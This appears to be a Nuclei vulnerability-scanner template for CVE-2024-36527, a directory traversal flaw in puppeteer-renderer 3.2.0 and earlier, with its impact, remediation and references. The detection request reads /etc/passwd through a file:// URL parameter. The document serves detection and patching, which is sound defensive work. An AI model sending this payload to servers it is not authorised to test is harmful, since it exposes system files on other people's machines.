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Puppeteer Renderer - Directory Traversal

ID: CVE-2024-36527

Severity: medium

Author: Stux

Tags: cve,cve2024,puppeteer-renderer

puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.

id: CVE-2024-36527
info:
name: Puppeteer Renderer - Directory Traversal
author: Stux
severity: medium
description: |
puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially gaining access to sensitive information.
remediation: |
Users should update to version 3.3.0 or later where this issue has been addressed. Additionally, ensure that input validation is implemented to restrict the url parameter to only http and https protocols.
reference:
- https://github.com/zenato/puppeteer-renderer/issues/97
- https://gist.github.com/7a6163/25fef08f75eed219c8ca21e332d6e911
metadata:
max-request: 1
verified: true
tags: cve,cve2024,puppeteer-renderer
http:
- method: GET
path:
- "{{BaseURL}}/html?url=file:///etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022006955f980bad3e25c4becf1c65ad9020298ec47002664fbc3da45e8f709d3e8902202085bcd4b690d388512cc3c059d8903fd27ba341ea7ad4517e3aad72f1c04ff7:922c64590222798bb761d5b6d8e72950

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